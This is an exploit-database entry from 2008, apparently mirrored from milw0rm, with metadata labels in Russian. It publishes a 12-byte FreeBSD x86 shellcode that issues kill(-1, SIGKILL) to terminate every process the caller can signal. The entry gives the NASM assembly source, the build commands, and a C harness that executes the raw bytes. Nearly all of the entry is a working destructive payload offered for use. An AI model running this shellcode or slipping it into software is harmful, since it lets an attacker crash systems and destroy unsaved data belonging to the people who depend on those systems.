Exploit FreeBSD/x86 - Kill All Processes Shellcode (12 bytes)

[Exploiter]

EDB-ID

13264

Проверка EDB

1. Пройдено

Автор

SUN8HCLF

Тип уязвимости

SHELLCODE

Платформа

FREEBSD_X86

CVE

N/A

Дата публикации

2008-09-09

            ***(C)oDed bY suN8Hclf***
       DaRk-CodeRs Group productions, kid
 [FreeBSD x86 kill all procesess 12 bytes shellcode]


Compile:
nasm -f elf code.asm
ld -e _start -o code code.o

Assembly code:
---------------------code.asm-------------------
section .text
global _start

_start:
xor eax, eax
push byte 9 ; SIGKILL
dec eax
push eax    ; -1 (0xffffffff)
inc eax
mov al, 37  ;kill() syscall number, check /usr/src/sys/kern/syscalls.master for details
push eax
int 0x80
---------------------code.asm-------------------

And C code:
---------------------code.c---------------------
#include <stdio.h>

char shellcode[]=
"\x31\xc0\x6a\x09\x48\x50\x40\xb0\x25\x50\xcd\x80";

int main()
{
int (*func)();
func=(int (*)())shellcode;
(int)(*func)();
}
---------------------code.c---------------------


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# milw0rm.com [2008-09-09]